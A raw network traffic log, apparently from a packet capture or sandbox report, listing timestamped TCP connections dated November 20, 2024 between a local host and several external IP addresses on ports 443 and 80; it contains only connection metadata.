Nov 20, 2024 14:43:22.266261101 CET	49739	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.266267061 CET	443	49739	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.302598000 CET	443	49740	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.303188086 CET	49740	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.303222895 CET	443	49740	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.303730965 CET	49740	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.303740978 CET	443	49740	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.495902061 CET	49748	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:22.495954037 CET	443	49748	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:22.496026993 CET	49748	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:22.496340036 CET	49748	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:22.496354103 CET	443	49748	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:22.631983995 CET	443	49738	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.632071018 CET	443	49738	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.632288933 CET	49738	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.632431984 CET	49738	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.632458925 CET	443	49738	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.632514000 CET	49738	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.632523060 CET	443	49738	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.636410952 CET	443	49736	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.636482000 CET	443	49736	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.636558056 CET	49736	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.636938095 CET	49736	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.636949062 CET	443	49736	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.636959076 CET	49736	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.636965036 CET	443	49736	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.637249947 CET	49749	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.637296915 CET	443	49749	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.637360096 CET	49749	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.637594938 CET	49749	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.637610912 CET	443	49749	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.639580965 CET	49750	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.639626980 CET	443	49750	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.639741898 CET	49750	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.639919996 CET	49750	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.639941931 CET	443	49750	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.706141949 CET	443	49737	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.706226110 CET	443	49737	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.706396103 CET	49737	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.706542969 CET	49737	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.706542969 CET	49737	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.706559896 CET	443	49737	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.706568003 CET	443	49737	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.708348036 CET	443	49739	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.708421946 CET	443	49739	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.708610058 CET	49739	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.708750963 CET	49739	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.708759069 CET	443	49739	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.708798885 CET	49739	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.708803892 CET	443	49739	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.709814072 CET	49752	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.709886074 CET	443	49752	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.709956884 CET	49752	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.710136890 CET	49752	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.710150003 CET	443	49752	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.710951090 CET	49753	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.710997105 CET	443	49753	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.711061001 CET	49753	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.711199999 CET	49753	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.711214066 CET	443	49753	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.751753092 CET	443	49740	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.751822948 CET	443	49740	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.751936913 CET	49740	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.752188921 CET	49740	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.752213955 CET	443	49740	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.752224922 CET	49740	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.752230883 CET	443	49740	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.756320000 CET	49754	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.756361008 CET	443	49754	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.756453037 CET	49754	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.756640911 CET	49754	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.756654024 CET	443	49754	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:23.035696983 CET	49756	443	192.168.2.6	23.218.208.109
Nov 20, 2024 14:43:23.035761118 CET	443	49756	23.218.208.109	192.168.2.6
Nov 20, 2024 14:43:23.035852909 CET	49756	443	192.168.2.6	23.218.208.109
Nov 20, 2024 14:43:23.037229061 CET	49756	443	192.168.2.6	23.218.208.109
Nov 20, 2024 14:43:23.037246943 CET	443	49756	23.218.208.109	192.168.2.6
Nov 20, 2024 14:43:23.299480915 CET	443	49742	20.109.210.53	192.168.2.6
Nov 20, 2024 14:43:23.299557924 CET	49742	443	192.168.2.6	20.109.210.53
Nov 20, 2024 14:43:23.301464081 CET	49742	443	192.168.2.6	20.109.210.53
Nov 20, 2024 14:43:23.301475048 CET	443	49742	20.109.210.53	192.168.2.6
Nov 20, 2024 14:43:23.301681995 CET	443	49742	20.109.210.53	192.168.2.6
Nov 20, 2024 14:43:23.352796078 CET	49742	443	192.168.2.6	20.109.210.53
Nov 20, 2024 14:43:23.384290934 CET	49742	443	192.168.2.6	20.109.210.53
Nov 20, 2024 14:43:23.431329012 CET	443	49742	20.109.210.53	192.168.2.6
Nov 20, 2024 14:43:23.978501081 CET	443	49742	20.109.210.53	192.168.2.6
Nov 20, 2024 14:43:23.978523970 CET	443	49742	20.109.210.53	192.168.2.6
Nov 20, 2024 14:43:23.978529930 CET	443	49742	20.109.210.53	192.168.2.6
Nov 20, 2024 14:43:23.978560925 CET	443	49742	20.109.210.53	192.168.2.6
Nov 20, 2024 14:43:23.978576899 CET	443	49742	20.109.210.53	192.168.2.6
Nov 20, 2024 14:43:23.978589058 CET	443	49742	20.109.210.53	192.168.2.6
Nov 20, 2024 14:43:23.978589058 CET	49742	443	192.168.2.6	20.109.210.53
Nov 20, 2024 14:43:23.978616953 CET	443	49742	20.109.210.53	192.168.2.6
Nov 20, 2024 14:43:23.978636980 CET	49742	443	192.168.2.6	20.109.210.53
Nov 20, 2024 14:43:23.978672028 CET	49742	443	192.168.2.6	20.109.210.53
Nov 20, 2024 14:43:23.996510029 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:23.996763945 CET	49759	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:24.000901937 CET	443	49742	20.109.210.53	192.168.2.6
Nov 20, 2024 14:43:24.000979900 CET	443	49742	20.109.210.53	192.168.2.6
Nov 20, 2024 14:43:24.000983000 CET	49742	443	192.168.2.6	20.109.210.53
Nov 20, 2024 14:43:24.001024008 CET	49742	443	192.168.2.6	20.109.210.53
Nov 20, 2024 14:43:24.002131939 CET	49742	443	192.168.2.6	20.109.210.53
Nov 20, 2024 14:43:24.002150059 CET	443	49742	20.109.210.53	192.168.2.6
Nov 20, 2024 14:43:24.002182007 CET	49742	443	192.168.2.6	20.109.210.53
Nov 20, 2024 14:43:24.002187967 CET	443	49742	20.109.210.53	192.168.2.6
Nov 20, 2024 14:43:24.116718054 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:24.116966009 CET	80	49759	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:24.117048979 CET	49759	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:24.117202997 CET	49759	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:24.239484072 CET	80	49759	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:24.240927935 CET	443	49748	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:24.241333008 CET	49748	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:24.241359949 CET	443	49748	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:24.241812944 CET	443	49748	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:24.242158890 CET	49748	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:24.242233038 CET	443	49748	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:24.290882111 CET	49748	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:24.296484947 CET	443	49752	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:24.297044992 CET	49752	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:24.297058105 CET	443	49752	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:24.297539949 CET	49752	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:24.297544003 CET	443	49752	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:24.432301998 CET	443	49750	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:24.433006048 CET	49750	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:24.433016062 CET	443	49750	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:24.433450937 CET	49750	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:24.433454990 CET	443	49750	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:24.485833883 CET	443	49756	23.218.208.109	192.168.2.6
Nov 20, 2024 14:43:24.485908031 CET	49756	443	192.168.2.6	23.218.208.109
Nov 20, 2024 14:43:24.487452030 CET	49756	443	192.168.2.6	23.218.208.109
Nov 20, 2024 14:43:24.487471104 CET	443	49756	23.218.208.109	192.168.2.6
Nov 20, 2024 14:43:24.487792015 CET	443	49756	23.218.208.109	192.168.2.6
Nov 20, 2024 14:43:24.492693901 CET	443	49749	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:24.493159056 CET	49749	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:24.493180990 CET	443	49749	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:24.493601084 CET	49749	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:24.493607998 CET	443	49749	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:24.496521950 CET	443	49753	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:24.498061895 CET	49753	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:24.498095036 CET	443	49753	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:24.498799086 CET	49753	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:24.498811007 CET	443	49753	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:24.532854080 CET	49756	443	192.168.2.6	23.218.208.109
Nov 20, 2024 14:43:24.549967051 CET	443	49754	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:24.550405979 CET	49754	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:24.550431013 CET	443	49754	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:24.550853014 CET	49754	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:24.550859928 CET	443	49754	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:24.579329967 CET	443	49756	23.218.208.109	192.168.2.6
Nov 20, 2024 14:43:24.933135986 CET	443	49752	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:24.933206081 CET	443	49752	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:24.933279037 CET	49752	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:24.933617115 CET	49752	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:24.933633089 CET	443	49752	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:24.933646917 CET	49752	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:24.933653116 CET	443	49752	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:24.933909893 CET	443	49750	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:24.933995962 CET	443	49750	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:24.934108973 CET	49750	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:24.935875893 CET	49750	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:24.935875893 CET	49750	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:24.935903072 CET	443	49750	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:24.935913086 CET	443	49750	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:24.937788010 CET	49760	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:24.937814951 CET	443	49760	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:24.937993050 CET	49760	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:24.938095093 CET	49760	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:24.938107967 CET	443	49760	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:24.938412905 CET	49761	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:24.938440084 CET	443	49761	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:24.939088106 CET	49761	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:24.939207077 CET	49761	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:24.939214945 CET	443	49761	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:25.014758110 CET	443	49753	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:25.014847040 CET	443	49753	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:25.015038013 CET	49753	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:25.015075922 CET	49753	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:25.015090942 CET	443	49753	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:25.015104055 CET	49753	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:25.015109062 CET	443	49753	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:25.018326044 CET	49762	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:25.018362045 CET	443	49762	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:25.018438101 CET	49762	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:25.018809080 CET	49762	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:25.018822908 CET	443	49762	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:25.024255991 CET	443	49749	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:25.024319887 CET	443	49749	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:25.024373055 CET	49749	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:25.024502039 CET	49749	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:25.024522066 CET	443	49749	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:25.024535894 CET	49749	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:25.024542093 CET	443	49749	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:25.027415991 CET	49763	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:25.027451038 CET	443	49763	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:25.027723074 CET	49763	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:25.027879000 CET	49763	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:25.027890921 CET	443	49763	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:25.119776011 CET	443	49756	23.218.208.109	192.168.2.6
Nov 20, 2024 14:43:25.119930983 CET	443	49756	23.218.208.109	192.168.2.6
Nov 20, 2024 14:43:25.120688915 CET	49756	443	192.168.2.6	23.218.208.109
Nov 20, 2024 14:43:25.122240067 CET	49756	443	192.168.2.6	23.218.208.109
Nov 20, 2024 14:43:25.122267962 CET	443	49756	23.218.208.109	192.168.2.6
Nov 20, 2024 14:43:25.122304916 CET	49756	443	192.168.2.6	23.218.208.109
Nov 20, 2024 14:43:25.122312069 CET	443	49756	23.218.208.109	192.168.2.6
Nov 20, 2024 14:43:25.152090073 CET	443	49754	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:25.152208090 CET	443	49754	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:25.152298927 CET	49754	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:25.161645889 CET	49754	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:25.161681890 CET	443	49754	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:25.161696911 CET	49754	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:25.161704063 CET	443	49754	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:25.179685116 CET	49764	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:25.179728985 CET	443	49764	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:25.179862022 CET	49764	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:25.211648941 CET	49764	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:25.211658955 CET	443	49764	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:25.217387915 CET	49765	443	192.168.2.6	23.218.208.109
Nov 20, 2024 14:43:25.217449903 CET	443	49765	23.218.208.109	192.168.2.6
Nov 20, 2024 14:43:25.217602015 CET	49765	443	192.168.2.6	23.218.208.109
Nov 20, 2024 14:43:25.218048096 CET	49765	443	192.168.2.6	23.218.208.109
Nov 20, 2024 14:43:25.218061924 CET	443	49765	23.218.208.109	192.168.2.6
Nov 20, 2024 14:43:25.495032072 CET	49767	443	192.168.2.6	142.250.181.110
Nov 20, 2024 14:43:25.495085955 CET	443	49767	142.250.181.110	192.168.2.6
Nov 20, 2024 14:43:25.495174885 CET	49767	443	192.168.2.6	142.250.181.110
Nov 20, 2024 14:43:25.495498896 CET	49767	443	192.168.2.6	142.250.181.110
Nov 20, 2024 14:43:25.495515108 CET	443	49767	142.250.181.110	192.168.2.6
Nov 20, 2024 14:43:26.097023964 CET	80	49759	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:26.097078085 CET	49759	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:26.187325001 CET	49767	443	192.168.2.6	142.250.181.110
Nov 20, 2024 14:43:26.187412024 CET	49748	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:26.190861940 CET	49759	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:26.312371969 CET	80	49759	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:26.633920908 CET	443	49763	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:26.634609938 CET	49763	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:26.634646893 CET	443	49763	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:26.635762930 CET	49763	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:26.635771990 CET	443	49763	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:26.645149946 CET	443	49765	23.218.208.109	192.168.2.6
Nov 20, 2024 14:43:26.645257950 CET	49765	443	192.168.2.6	23.218.208.109
Nov 20, 2024 14:43:26.646780014 CET	49765	443	192.168.2.6	23.218.208.109
Nov 20, 2024 14:43:26.646796942 CET	443	49765	23.218.208.109	192.168.2.6
Nov 20, 2024 14:43:26.647072077 CET	443	49765	23.218.208.109	192.168.2.6
Nov 20, 2024 14:43:26.648433924 CET	49765	443	192.168.2.6	23.218.208.109
Nov 20, 2024 14:43:26.691335917 CET	443	49765	23.218.208.109	192.168.2.6
Nov 20, 2024 14:43:26.724617958 CET	443	49760	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:26.725275040 CET	49760	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:26.725300074 CET	443	49760	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:26.725646019 CET	443	49761	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:26.726006031 CET	49760	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:26.726011038 CET	443	49760	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:26.726222992 CET	49761	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:26.726258039 CET	443	49761	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:26.726749897 CET	49761	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:26.726762056 CET	443	49761	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:26.822720051 CET	443	49762	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:26.823707104 CET	49762	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:26.823729992 CET	443	49762	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:26.824280024 CET	49762	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:26.824291945 CET	443	49762	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:26.995428085 CET	443	49764	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:26.996181011 CET	49764	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:26.996200085 CET	443	49764	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:26.996613026 CET	49764	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:26.996618986 CET	443	49764	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.102077007 CET	443	49763	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.102164984 CET	443	49763	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.102277994 CET	49763	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.102452993 CET	49763	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.102488995 CET	443	49763	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.102504969 CET	49763	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.102514982 CET	443	49763	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.105983019 CET	49768	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.106043100 CET	443	49768	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.106168032 CET	49768	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.106363058 CET	49768	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.106374979 CET	443	49768	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.182238102 CET	443	49761	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.182312965 CET	443	49761	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.182629108 CET	49761	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.182980061 CET	49761	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.183000088 CET	443	49761	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.183012009 CET	49761	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.183017969 CET	443	49761	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.185599089 CET	443	49760	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.185666084 CET	443	49760	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.185820103 CET	49760	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.186063051 CET	49760	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.186079979 CET	443	49760	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.186099052 CET	49760	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.186105013 CET	443	49760	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.186455011 CET	49769	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.186486959 CET	443	49769	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.186956882 CET	49769	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.187184095 CET	49769	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.187196016 CET	443	49769	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.188344955 CET	49770	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.188357115 CET	443	49770	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.188431978 CET	49770	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.188555956 CET	49770	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.188565969 CET	443	49770	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.193053007 CET	443	49765	23.218.208.109	192.168.2.6
Nov 20, 2024 14:43:27.193111897 CET	443	49765	23.218.208.109	192.168.2.6
Nov 20, 2024 14:43:27.193207979 CET	49765	443	192.168.2.6	23.218.208.109
Nov 20, 2024 14:43:27.194062948 CET	49765	443	192.168.2.6	23.218.208.109
Nov 20, 2024 14:43:27.194072008 CET	443	49765	23.218.208.109	192.168.2.6
Nov 20, 2024 14:43:27.194086075 CET	49765	443	192.168.2.6	23.218.208.109
Nov 20, 2024 14:43:27.194089890 CET	443	49765	23.218.208.109	192.168.2.6
Nov 20, 2024 14:43:27.195914984 CET	80	49759	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:27.195991993 CET	49759	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:27.440510035 CET	443	49764	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.440622091 CET	443	49764	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.440733910 CET	443	49762	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.440762997 CET	49764	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.440898895 CET	443	49762	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.440958977 CET	49762	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.441095114 CET	49762	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.441095114 CET	49762	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.441109896 CET	443	49762	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.441118002 CET	443	49762	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.442568064 CET	49764	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.442568064 CET	49764	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.442588091 CET	443	49764	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.442596912 CET	443	49764	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.445904016 CET	49771	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.445962906 CET	443	49771	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.446105003 CET	49771	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.447140932 CET	49772	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.447181940 CET	443	49772	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.447263956 CET	49772	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.447719097 CET	49771	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.447741032 CET	443	49771	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:27.447870016 CET	49772	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:27.447884083 CET	443	49772	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:28.959640026 CET	443	49768	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:28.974247932 CET	443	49769	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:28.974792957 CET	49768	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:28.974828959 CET	443	49768	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:28.975285053 CET	49768	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:28.975297928 CET	443	49768	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:28.980482101 CET	49769	443	192.168.2.6	13.107.246.63
